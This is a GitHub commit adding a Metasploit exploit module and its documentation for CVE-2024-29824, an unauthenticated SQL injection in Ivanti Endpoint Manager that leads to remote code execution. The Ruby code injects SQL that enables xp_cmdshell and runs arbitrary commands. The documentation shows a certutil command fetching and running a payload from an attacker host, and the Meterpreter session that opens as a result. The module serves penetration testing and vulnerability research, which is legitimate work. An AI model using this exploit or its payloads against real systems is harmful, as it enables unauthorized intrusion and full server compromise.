Skip to content

Commit ecb628e

Browse files
cdelafuente-r7cdelafuente-r7
committed
Add module and documentation
1 parent db94ad1 commit ecb628e

File tree

2 files changed

+182
-0
lines changed

2 files changed

+182
-0
lines changed

‎documentation/modules/exploit/windows/http/ivanti_epm_recordgoodapp_sqli_rce.md

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
3+
Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to
4+
unauthenticated SQL injection which can be leveraged to achieve unauthenticated
5+
remote code execution.
6+
7+
### Installation
8+
Download and run the installer of a vulnerable version of Ivanti Endpoint
9+
Manager (EPM) from https://www.ivanti.com/resources/downloads. Note that a
10+
service account with Ivanti is required.
11+
12+
## Verification Steps
13+
1. Install the application
14+
1. Start msfconsole
15+
1. Do: `use windows/http/ivanti_epm_recordgoodapp_sqli_rce`
16+
1. Do: `exploit rhost=<remote host>`
17+
1. You should get a session.
18+
19+
## Options
20+
21+
### DELAY
22+
The delay to detect if the target is vulnerable using time-based SQLi in second (default: 5)
23+
24+
## Scenarios
25+
26+
This has been tested against EPM version 2021.1 and 2022 (no Service Update) on Windows Server 2019
27+
```
28+
msf6 exploit(windows/http/ivanti_epm_recordgoodapp_sqli_rce) > exploit verbose=true rhosts=192.168.101.130
29+
30+
[*] Command to run on remote host: certutil -urlcache -f http://192.168.101.40:8080/GgcI9uEq8wim98SvWzx8DQ %TEMP%\TXnDFJhrK.exe & start /B %TEMP%\TXnDFJhrK.exe
31+
[*] Fetch handler listening on 192.168.101.40:8080
32+
[*] HTTP server started
33+
[*] Adding resource /GgcI9uEq8wim98SvWzx8DQ
34+
[*] Started reverse TCP handler on 192.168.101.40:4444
35+
[*] Running automatic check ("set AutoCheck false" to disable)
36+
[*] Checking if the target is vulnerable using time-based SQLi (delay=5
37+
[*] Baseline query elapsed time: 0.5334880000445992
38+
[*] Delayed query elapsed time: 5.020284999860451
39+
[+] The target is vulnerable. SQLi executed
40+
[*] Client 192.168.101.40 requested /GgcI9uEq8wim98SvWzx8DQ
41+
[*] Sending payload to 192.168.101.40 (Microsoft-CryptoAPI/10.0)
42+
[*] Client 192.168.101.40 requested /GgcI9uEq8wim98SvWzx8DQ
43+
[*] Sending payload to 192.168.101.40 (CertUtil URL Agent)
44+
[*] Sending stage (201798 bytes) to 192.168.101.40
45+
[*] Meterpreter session 1 opened (192.168.101.40:4444 -> 192.168.101.40:64423) at 2024-06-20 10:50:21 +0200
46+
47+
meterpreter > getuid
48+
Server username: NT Service\MSSQL$LDMSDATA
49+
meterpreter > sysinfo
50+
Computer : WIN2019
51+
OS : Windows Server 2019 (10.0 Build 17763).
52+
Architecture : x64
53+
System Language : en_US
54+
Domain : WORKGROUP
55+
Logged On Users : 2
56+
Meterpreter : x64/windows
57+
```

‎modules/exploits/windows/http/ivanti_epm_recordgoodapp_sqli_rce.rb

Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = NormalRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::FileDropper
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
class IvantiEpmRequestError < StandardError; end
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'Ivanti EPM RecordGoodApp SQLi RCE',
20+
'Description' => %q{
21+
Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [
25+
'James Horseman', # original PoC, analysis
26+
'Christophe De La Fuente' # Metasploit module
27+
],
28+
'References' => [
29+
[ 'URL', 'https://forums.ivanti.com/s/article/Security-Advisory-May-2024'],
30+
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-507'],
31+
[ 'URL', 'https://github.com/horizon3ai/CVE-2024-29824'],
32+
[ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/'],
33+
[ 'CVE', '2024-29824']
34+
],
35+
'Platform' => ['windows'],
36+
'Privileged' => true,
37+
'Arch' => ARCH_CMD,
38+
'Targets' => [
39+
[ 'Automatic Target', {}]
40+
],
41+
'DisclosureDate' => '2024-05-24',
42+
'DefaultTarget' => 0,
43+
'Notes' => {
44+
'Stability' => [ CRASH_SAFE ],
45+
'Reliability' => [ REPEATABLE_SESSION ],
46+
# MS SQL logs will contain evidence of `xp_cmdshell` being used
47+
# Fetch payload cannot be deleted while a Meterpreter session is active
48+
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
49+
}
50+
)
51+
)
52+
register_options(
53+
[
54+
OptString.new('TARGETURI', [ true, 'The URI of the EPM Web Services', '/']),
55+
OptInt.new('DELAY', [ true, 'The delay to detect if the target is vulnerable using time-based SQLi in second', 5])
56+
]
57+
)
58+
end
59+
60+
def sqli_payload(cmd)
61+
"';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '#{cmd.encode(xml: :text)}'--"
62+
end
63+
64+
def xml_payload(sqli)
65+
<<~XML
66+
<?xml version="1.0" encoding="utf-8"?>
67+
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
68+
<soap12:Body>
69+
<UpdateStatusEvents xmlns="http://tempuri.org/">
70+
<deviceID>string</deviceID>
71+
<actions>
72+
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
73+
<status>GoodApp=1|md5=#{sqli}</status>
74+
</Action>
75+
</actions>
76+
</UpdateStatusEvents>
77+
</soap12:Body>
78+
</soap12:Envelope>
79+
XML
80+
end
81+
82+
def soap_request(sqli, timeout = 20)
83+
res = send_request_cgi({
84+
'uri' => normalize_uri(target_uri.path, 'WSStatusEvents', 'EventHandler.asmx'),
85+
'method' => 'POST',
86+
'ctype' => 'application/soap+xml; charset="utf-8"',
87+
'data' => xml_payload(sqli)
88+
}, timeout)
89+
90+
raise IvantiEpmRequestError, 'Failed to send the SOAP request' unless res
91+
92+
res
93+
end
94+
95+
def elapsed_time(&block)
96+
time1 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
97+
block.call
98+
time2 = Process.clock_gettime(Process::CLOCK_MONOTONIC)
99+
time2 - time1
100+
end
101+
102+
def check
103+
print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})")
104+
105+
elapsed1 = elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
106+
vprint_status("Baseline query elapsed time: #{elapsed1}")
107+
108+
elapsed2 = elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
109+
vprint_status("Delayed query elapsed time: #{elapsed2}")
110+
111+
if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']
112+
return CheckCode::Vulnerable('SQLi executed')
113+
else
114+
return CheckCode::Safe('SQLi not executed')
115+
end
116+
rescue IvantiEpmRequestError => e
117+
return CheckCode::Unknown(e.to_s)
118+
end
119+
120+
def exploit
121+
soap_request(sqli_payload(payload.encoded), 1)
122+
rescue IvantiEpmRequestError
123+
# Expecting no response if an interactive payload such as Meterpreter is used
124+
end
125+
end

0 commit comments

Comments
 (0)